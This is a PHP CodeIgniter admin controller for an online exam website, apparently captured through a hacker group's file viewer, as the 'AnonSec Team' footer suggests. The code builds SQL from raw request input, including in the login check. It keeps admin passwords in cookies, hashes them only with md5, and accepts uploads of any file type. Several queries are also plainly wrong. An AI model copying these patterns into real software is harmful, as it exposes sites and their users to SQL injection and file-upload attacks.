
			$course_image = $tumbnail=$videoDetails1['file_name'];
			$helthy['thumbnail'] = $tumbnail;
			$config = array(
			"source_image"    => $videoDetails1['full_path'],
			"new_image"       => 'uploads/category_images/thumbnails/'.$banner_image,
			"maintain_ratio"  => FALSE,

			"width"		   => 280,
			"height"		   => 170	);
			$config['image_library'] = 'gd2';
			// creating thumbnail			
			$this->load->library('image_lib');
			// Set your config up
			$this->image_lib->initialize($config);
			// Do your manipulation

			// $this->image_lib->resize();
			if ( ! $this->image_lib->resize())
			{
			echo $this->image_lib->display_errors();
			}

			}
		
		$system_array['category_image']=$banner_image;
		}
		 $this->db->insert('sub_categories',$system_array);
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
	
		public function update_sub_category()
	{
		
		   $id = $this->input->post('id');
			$category_name = $this->input->post('category_name');
			$category_slug= $this->seo_friendly_url($category_name);
			$sort_order=$this->input->post('sort_order');
			$system_array=array('sub_category_name'=>$category_name,
			'sub_category_slug'=>$category_slug,
			'sort_order'=>$sort_order,
			'status'=>$this->input->post('status'),
			'meta_title'=>$this->input->post('meta_title'),
			'meta_desc'=>$this->input->post('meta_desc'),
			'meta_keywords'=>$this->input->post('meta_keywords'),
			'category_id'=>$this->input->post('category_id')
			


			);
				if(isset($_FILES['course_image']['name']) && $_FILES['course_image']['name']!='')
		{
			$date=date('Ymdhis');
			$configVideo['upload_path'] = 'uploads/category_images/';
			$configVideo['allowed_types'] = '*';
			$configVideo['overwrite'] = FALSE;
			$configVideo['remove_spaces'] = TRUE;
			$banner_image = $date.$_FILES['course_image']['name'];
			$configVideo['file_name'] = $banner_image;
			$this->load->library('upload', $configVideo);
			$this->upload->initialize($configVideo);
			if (!$this->upload->do_upload('course_image')) {
			echo $this->upload->display_errors();
			} else {
			$videoDetails1 = $this->upload->data();

			$course_image = $tumbnail=$videoDetails1['file_name'];
			$helthy['thumbnail'] = $tumbnail;
			$config = array(
			"source_image"    => $videoDetails1['full_path'],
			"new_image"       => 'uploads/category_images/thumbnails/'.$banner_image,
			"maintain_ratio"  => FALSE,

			"width"		   => 280,
			"height"		   => 170	);
			$config['image_library'] = 'gd2';
			// creating thumbnail			
			$this->load->library('image_lib');
			// Set your config up
			$this->image_lib->initialize($config);
			// Do your manipulation

			// $this->image_lib->resize();
			if ( ! $this->image_lib->resize())
			{
			echo $this->image_lib->display_errors();
			}

			}
		
		$system_array['category_image']=$banner_image;
		}
		$this->db->where('id', $id);
		$this->db->update('sub_categories', $system_array);		
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
		public function load_subcategory_data()
	{  
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 's.id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: '';           
		$serach_by=' where s.id!=0';
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		
		
	   
		//echo "SELECT * from categories $serach_by $order_by $limit_cond";exit;
		$result_data = $this->db->query("SELECT s.*,c.category_name from categories c inner join sub_categories s on s.category_id=c.id $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(s.id) as datacount from categories c inner join sub_categories s on s.category_id=c.id  $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		//echo '<pre>';print_r($result_data);
		$del='Are you sure want to Delete?';
		
		foreach($result_data as $res) {
		$checked='';
		if($res['status']==1)
		$checked='checked';
	    $result['aaData'][$key][] = $res['sub_category_name'];
		$result['aaData'][$key][] = $res['category_name'];
		$result['aaData'][$key][] = '<label class="switch changestatus" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="sub_categories" data-did="'.$res['id'].'">
          <span class="slider round"></span>
        </label>';
		$result['aaData'][$key][] = $res['sort_order'];			
		$result['aaData'][$key][] = date('d,M,Y',strtotime($res['added_date']));	
		$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a class="btn btn-danger btn-sm text-white delclass" data-did="'.$res['id'].'" data-table="sub_categories" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	public function dashboard()
	{  
	  $this->login_check();
	  
		$this->load->view('admin/dashboard');
	}
			public function login_action()
	{	

		if (!$this->input->is_ajax_request()) {
		exit('No direct script access allowed');
		}
		$this->load->helper('cookie');
		$admin_email=$this->input->post('login_email');
		$admin_password=$this->input->post('login_password');
		if(!empty($_POST["remember"])) {
			set_cookie('login_email', $_POST["login_email"], 999999);
			set_cookie('login_password', $_POST["login_password"], 999999);
			set_cookie ("remember",'checked',999999);
			} else {
				if(isset($_COOKIE["login_password"])) {
					set_cookie ("login_email","",0);
					set_cookie ("login_password","",0);
					set_cookie ("remember","",0);
				}
			}


		$q=$this->db->query("SELECT admin_name,admin_id from wl_admins where admin_email='$admin_email' and admin_password='".md5($admin_password)."'  and admin_status='1' limit 1" );
		$admin_data = $q->row_array();		
		if(!empty($admin_data))
		{
		$this->session->set_userdata($admin_data);
		$data['status']=1;
		$data['msg']='Login Successfull';
		}else
		{
		$data['status']=0;
		$data['msg']='Invalid  Credentials';
		}	
		echo json_encode($data);
       exit;
    }
	
	
		public function exam_types_list()
	{  
	   
		$this->load->view('admin/exam_types_list');
	}
		public function load_exam_types_list()
	{  
	
	    $search=$_GET['search']['value'];
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'created_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'exam_type_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: ''; 
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where exam_type LIKE '%$search%'";	
		}			
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		$result_data = $this->db->query("SELECT * from exam_types $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(exam_type_id) as datacount from exam_types $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		foreach($result_data as $res) {
		$checked='';
		if($res['status']==1)
		$checked='checked';
		$result['aaData'][$key][] = $res['exam_type'];
		
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="exam_types" data-did="'.$res['exam_type_id'].'" data-colid="exam_type_id">
          <span class="slider round"></span>
        </label>';
			

		$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['exam_type_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a class="btn btn-danger btn-sm text-white delclass"  data-colid="exam_type_id" data-did="'.$res['exam_type_id'].'" data-table="exam_types" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	
		public function online_exam_payments_list()
	{  
	    $q=$this->db->query("SELECT * FROM `exam_types` where status='1'");
       $data['exam_types'] = $q->result_array();
		$this->load->view('admin/online_exam_payments_list',$data);
	}
		public function load_online_exam_payments_list()
	{  
	
	    $search=$_GET['search']['value'];
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'added_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'test_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: ''; 
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where test_name LIKE '%$search%'";	
		}			
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		$result_data = $this->db->query("SELECT u.*,e.*,o.test_name from online_test_orders e inner join online_tests o on o.test_id=e.test_id inner join users u on e.user_id=u.user_id $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(order_id) as datacount from online_test_orders e inner join online_tests o on o.test_id=e.test_id $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		foreach($result_data as $res) {
		$checked='';
		if($res['status']==1)
		$checked='checked';
		$result['aaData'][$key][] = $res['test_name'];
		$result['aaData'][$key][] = $res['user_name'];
		$result['aaData'][$key][] = $res['phone'];
		$result['aaData'][$key][] = '<i class="fa fa-inr" aria-hidden="true"></i> '. $res['amount'];
		$result['aaData'][$key][] = '<i class="fa fa-inr" aria-hidden="true"></i> '.$res['gst'];
		$result['aaData'][$key][] = '<i class="fa fa-inr" aria-hidden="true"></i> '.$res['paid_amount'];		
		$result['aaData'][$key][] = $res['order_status'];
		$result['aaData'][$key][] = $res['order_date'];
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	
		public function online_exams_list()
	{  
	    $q=$this->db->query("SELECT * FROM `exam_types` where status='1'");
       $data['exam_types'] = $q->result_array();
		$this->load->view('admin/online_exams_list',$data);
	}
		public function load_online_exams_list()
	{  
	
	    $search=$_GET['search']['value'];
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'added_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'test_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: ''; 
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where test_name LIKE '%$search%'";	
		}			
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		$result_data = $this->db->query("SELECT * from online_tests o inner join exam_types e on o.exam_type_id=e.exam_type_id $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(test_id) as datacount from online_tests o inner join exam_types e on o.exam_type_id=e.exam_type_id $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		foreach($result_data as $res) {
		$checked='';
		if($res['status']==1)
		$checked='checked';
		$result['aaData'][$key][] = $res['test_name'];
		$result['aaData'][$key][] = $res['exam_type'];
		$result['aaData'][$key][] = $res['test_duration'].' mins';
		$result['aaData'][$key][] = $res['total_questions'];
		$result['aaData'][$key][] = $res['pass_marks'];
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="online_tests" data-did="'.$res['test_id'].'" data-colid="test_id">
          <span class="slider round"></span>
        </label>';
			

		$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['test_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a class="btn btn-danger btn-sm text-white delclass"  data-colid="test_id" data-did="'.$res['test_id'].'" data-table="online_tests" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	
				public function add_online_test()
	{	
	  
		$this->login_check();
		$test_name = $this->input->post('test_name');
		$test_slug = $this->seo_friendly_url($test_name);	
		$test_duration=  $this->input->post('test_duration');
		$total_questions = $this->input->post('total_questions');
		$exam_type_id = $this->input->post('exam_type_id');
		$pass_marks = $this->input->post('pass_marks');
		$test_description = $this->input->post('test_description');
		$exam_fee = $this->input->post('exam_fee');
		$status = $this->input->post('status');
		$added_date = date('Y-m-d');
		

		$system_array=array(
		                  'test_duration'=>$test_duration,
		                  'test_name'=>$test_name,
                           'test_slug'=>$test_slug,							  
							'total_questions'=>$total_questions,
						    'exam_type_id'=>$exam_type_id,
							'exam_fee'=>$exam_fee,
							'pass_marks'=>$pass_marks,
						    'test_description'=>$test_description,
							'status'=>$status,
							'added_date'=>$added_date
							
		                   
		);
		
		
         $this->db->insert('online_tests',$system_array);
		
		//$this->session->set_flashdata('cmsg',$msg);
		redirect('admin/online_exams_list');
		
    } 
	
				public function update_online_test()
	{
		
		   $id = $this->input->post('id');
			$test_name = $this->input->post('test_name');
		$test_slug = $this->seo_friendly_url($test_name);	
		$test_duration=  $this->input->post('test_duration');
		$total_questions = $this->input->post('total_questions');
		$exam_type_id = $this->input->post('exam_type_id');
		$pass_marks = $this->input->post('pass_marks');
		$test_description = $this->input->post('test_description');
		$status = $this->input->post('status');
		$exam_fee = $this->input->post('exam_fee');
		$added_date = date('Y-m-d');
		

		$system_array=array(
		                  'test_duration'=>$test_duration,
		                  'test_name'=>$test_name,
                           'test_slug'=>$test_slug,							  
							'total_questions'=>$total_questions,
						    'exam_type_id'=>$exam_type_id,
							'pass_marks'=>$pass_marks,
							'exam_fee'=>$exam_fee,
						    'test_description'=>$test_description,
							'status'=>$status,
							'added_date'=>$added_date
							
		                   
		);
		$this->db->where('test_id', $id);
		$this->db->update('online_tests', $system_array);		
		 redirect('admin/online_exams_list');
		
	}
		public function load_questions()
	{  
	    $data['no_of_questions']=$_POST['no_of_questions'];
		$this->load->view('admin/load_questions',$data);
	}
			public function questions_answers_list()
	{  
	    $q=$this->db->query("SELECT * FROM `online_tests` where status='1'");
       $data['online_tests'] = $q->result_array();
		$this->load->view('admin/questions_answers_list',$data);
	}
		public function load_questions_answers_list()
	{  
	
	    $search=$_GET['search']['value'];
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'added_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'question_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: ''; 
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where question LIKE '%$search%' or test_name LIKE '%$search%'";	
		}			
		
		$order_by = ' ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		$result_data = $this->db->query("SELECT o.question,o.question_id,o.status,e.test_name from test_questions o inner join online_tests e on o.test_id=e.test_id $serach_by $order_by $limit_cond")->result_array();
		$count_data = $this->db->query("SELECT count(question_id) as datacount from test_questions o inner join online_tests e on o.test_id=e.test_id $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		foreach($result_data as $res) {
		$checked='';
		if($res['status']==1)
		$checked='checked';
		$result['aaData'][$key][] = $res['question'];
		$result['aaData'][$key][] = $res['test_name'];
		$result['aaData'][$key][] = '<label class="switch" >
          <input type="checkbox" class="success changestatus" '.$checked.' data-table="test_questions" data-did="'.$res['question_id'].'" data-colid="question_id">
          <span class="slider round"></span>
        </label>';
			

		$result['aaData'][$key][]='<a class="btn btn-success btn-sm text-white editclass" data-did="'.$res['question_id'].'" data-toggle="tooltip" data-original-title="Edit"><i class="fa fa-pencil"></i></a>
		<a class="btn btn-danger btn-sm text-white delclass"  data-colid="question_id" data-did="'.$res['question_id'].'" data-table="test_questions" data-toggle="tooltip" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
															';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	
	public function save_questions()
	{	
	  
		$this->login_check();
		$test_id = $this->input->post('test_id');
		$question=$_POST['question'];
		for($i=0;$i<count($_POST['question']);$i++)
		{
			if($_POST['question'][$i]!='' && $_POST['answer1'][$i]!='' && $_POST['answer2'][$i]!='' && $_POST['answer3'][$i]!='')
			{
			$system_array=array(
		                  'test_id'=>$test_id,
		                  'question'=>$_POST['question'][$i],
                           'answer1'=>$_POST['answer1'][$i],							  
							'answer2'=>$_POST['answer2'][$i],
						    'answer3'=>$_POST['answer3'][$i],
							'answer4'=>$_POST['answer4'][$i],
							'right_answer'=>$_POST['right_answer'][$i],
							'explanation'=>$_POST['explanation'][$i],
							
		                   
		);
		
		
         $this->db->insert('test_questions',$system_array);	
				
			}
			
		}
 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
		
    } 
	
	public function update_question()
	{
		
		   $id = $this->input->post('id');
			$system_array=array(		                  
		                  'question'=>$_POST['question'],
                           'answer1'=>$_POST['answer1'],							  
							'answer2'=>$_POST['answer2'],
						    'answer3'=>$_POST['answer3'],
							'answer4'=>$_POST['answer4'],
							'right_answer'=>$_POST['right_answer'],
							'explanation'=>$_POST['explanation'],
							
		                   
		);
		$this->db->where('question_id', $id);
		$this->db->update('test_questions', $system_array);		
		 $data['status']=1;
		 $data['msg']='Data Saved Successfully';
	     echo json_encode($data);
		 exit;
		
	}
	
		public function upload_questions()
	{  
	
	
	    if (isset($_FILES["file"])) {
   
    $fileName = $_FILES["file"]["tmp_name"];
    
    if ($_FILES["file"]["size"] > 0) {
        
        $file = fopen($fileName, "r");
		$i=1;
        while (($column=fgetcsv($file, 1000000, ",")) !== FALSE) {
           echo '<pre>'; print_r($column);
            $userId = "";
            if (isset($column[0])) {
                $test_name = $column[0];
				$q=$this->db->query("SELECT test_id FROM `online_tests` where test_name like '%".$test_name."%'");
                $test_data = $q->row_array();
				$test_id=$test_data['test_id'];
				if($test_id!='')
				{
					
				$question = "";
            if (isset($column[1])) {
                $question = $column[1];
            }
            $answer1 = "";
            if (isset($column[2])) {
                $answer1 = $column[2];
            }
            $answer2 = "";
            if (isset($column[3])) {
                $answer2 = $column[3];
            }
            $answer3 = "";
            if (isset($column[4])) {
                $answer3 = $column[4];
            }

			$answer4 = "";
			if (isset($column[5])) {
			$answer4 = $column[5];
			}

			$right_answer = "";
			if (isset($column[6])) {
			$right_answer = $column[6];
			}			
			$explanation = "";
			if (isset($column[7])) {
			$explanation = $column[7];
			}		
				$system_array=array(
				'test_id'=>$test_id,
				'question'=>$question,
				'answer1'=>$answer1,							  
				'answer2'=>$answer2,
				'answer3'=>$answer3,
				'answer4'=>$answer4,
				'right_answer'=>$right_answer,
				'explanation'=>$explanation,


				);


				$this->db->insert('test_questions',$system_array);		
					
					
				}
            }
            
            
          echo $i++;
        }
		 redirect('admin/upload_questions');
       }
	  
     }
		$this->load->view('admin/upload_questions');
	}
	
			public function exam_results()
	{  
	
	$q=$this->db->query("SELECT * FROM `email_templates` where status='1' and template_id not in(1,2)");
       $data['email_templates'] = $q->result_array();
	    $q=$this->db->query("SELECT * FROM `online_tests` where status='1'");
       $data['online_tests'] = $q->result_array();
	   $sql="SELECT t.*,e.test_name,e.pass_marks,u.user_name,u.email from test_results t 
		inner join online_tests e on e.test_id=e.test_id
        inner join users u on u.user_id=t.user_id where t.result_id!='0' 
		";
		if(isset($_GET['user_name']) && $_GET['user_name']!='')
		{
		$sql.= " and u.user_name like '%".$_GET['user_name']."%'";	
		}
		if(isset($_GET['test_id']) && $_GET['test_id']!='')
		{
		$sql.= " and e.test_id='".$_GET['test_id']."'";	
		}
		if(isset($_GET['from_date']) && $_GET['from_date']!='' && $_GET['to_date']!='')
		{
		$sql.= " and (t.exam_date>='".$_GET['from_date']."' and t.exam_date<='".$_GET['from_date']."')";	
		}
		$sql.= " group by result_id ";
		//echo $sql;
	   $data['result_data'] = $this->db->query($sql)->result_array();
		$this->load->view('admin/exam_results',$data);
	}
	
			public function load_exam_results()
	{  
	
	print_r($_GET);exit;
	    $search=$_GET['search']['value'];
	    $limit = isset($_GET['start']) ? $_GET['start'] : '';
		$offset = isset($_GET['length']) ? $_GET['length']: '';
		$sort_col_index = array(0=>'added_date');
		$sort_by =isset($_GET['iSortCol_0']) ? $sort_col_index[$_GET['iSortCol_0']]: 'resul_id'; 
		$sort_dir =isset($_GET['sSortDir_0']) ? $_GET['sSortDir_0']: 'desc'; 
		$search_key = isset($_GET['sSearch']) ? $_GET['sSearch']: ''; 
		$serach_by='';
        if($search!='')
		{
		$serach_by=" where test_name LIKE '%$search%'";	
		}			
		
		$order_by = ' GROUP BY resul_id ORDER BY '.$sort_by.' '.$sort_dir;
		if($limit != '') {
		$limit_cond = "LIMIT $limit,$offset ";
		} 
		$result_data = $this->db->query("SELECT t.*,e.test_name,e.pass_marks,u.user_name,u.email from test_results t 
		inner join online_tests e on e.test_id=e.test_id
        inner join users u on u.user_id=t.user_id
		$serach_by $order_by $limit_cond")->result_array();
		echo $this->db->last_query();
		$count_data = $this->db->query("SELECT count(resul_id) as datacount from test_results t 
		inner join online_tests e on e.test_id=e.test_id
        inner join users u on u.user_id=t.user_id $serach_by ")->row_array();
		 $total_count = $count_data['datacount'];
		$result["iTotalDisplayRecords"] = $total_count;
		$result["sEcho"] = !empty($_GET['sEcho']) ? $_GET['sEcho'] : '';
		$result['status'] = 1;
		$result["iTotalRecords"] = $total_count;
		$result['aaData'] = array();
		$content = '';		
		$key=0;
		foreach($result_data as $res) {
		
		$result['aaData'][$key][] = $res['user_name'];
		$result['aaData'][$key][] = $res['test_name'];
		$result['aaData'][$key][] = date('F d,Y',strtotime($res['exam_date']));
		
		$result['aaData'][$key][] = $res['no_of_qa'];
		$result['aaData'][$key][] = $res['attempted_questions'];
		$result['aaData'][$key][] = $res['correct_answers'];
		$result['aaData'][$key][] = $res['score'].'%';
		if($res['correct_answers']>=$res['pass_marks'])
		{
		$result['aaData'][$key][] = '<p clas="text-success">Pass</p>';
		}else
        {
		$result['aaData'][$key][] = '<p clas="text-danger">Fail</p>';	
			
		}			

		$result['aaData'][$key][]='
		<a class="btn btn-danger btn-sm text-white "  data-resul_id="'.$res['resul_id'].'" data-email="'.$res['email'].'" data-table="test_questions" data-toggle="tooltip" data-original-title="Send Mail"><i class="fa fa-envelope"></i></a>
		';		
		$key++;
		}
		
		echo json_encode($result);
		//$data=$this->load->view('admin/datatable');
		
	}
	
			public function email_templates()
	{  
	    $q=$this->db->query("SELECT * FROM `email_templates` where status='1'");
       $data['result_data'] = $q->result_array();
	  
		$this->load->view('admin/email_templates',$data);
	}
	
				public function update_email_template()
	{
		
		$id = $this->input->post('id');
		$template_name = $this->input->post('template_name');		
		$template_subject=  $this->input->post('template_subject');
		$template_desc = $this->input->post('template_desc');

		

		$system_array=array(
		                  'template_name'=>$template_name,
		                  'template_subject'=>$template_subject,
                           'template_desc'=>$template_desc,							  
							
							
		                   
		);
		$this->db->where('template_id', $id);
		$this->db->update('email_templates', $system_array);		
		 redirect('admin/email_templates');
		
	}
	
	function send_email()
	{
		$template_id = $this->input->post('template_id');
		$result_id = $this->input->post('result_id');
		$q=$this->db->query("SELECT * FROM `email_templates` where status='1' and template_id='$template_id'");
		$template_data = $q->row_array();
		$sql="SELECT t.*,e.test_name,e.pass_marks,u.user_name,u.email,u.phone from test_results t 
		inner join online_tests e on e.test_id=e.test_id
		inner join users u on u.user_id=t.user_id where t.result_id!='$result_id'";
		$q=$this->db->query($sql);		
		$result_data = $q->row_array();
		//print_r($result_data);exit;
		 $html=$template_data ['template_desc'];
		foreach($result_data as $key=>$value)
		{
			
			$html = str_replace("{".$key."}", $value, $html);
		}
		$subject=$template_data['template_subject'];
        $to = $this->input->post('email');
		$email_from = 'info@wiselearner.com';
		$headers = "MIME-Version: 1.0" . "\r\n";
		$headers .= "Content-type:text/html;charset=iso-8859-1" . "\r\n";
		$headers .= 'From: Wiselearner <'.$email_from. "> \r\n";
		$headers .= 'Reply-To: '.$email_from. "\r\n";
		$mail=mail($to, $subject,$html, $headers);
       if($mail)
	   {
		   
		   $data['status']=1;
		 $data['msg']='Mail sent Successfully';
	     echo json_encode($data);
		 exit;
	   }		   
	}	
	
}

Anon7 - 2022
AnonSec Team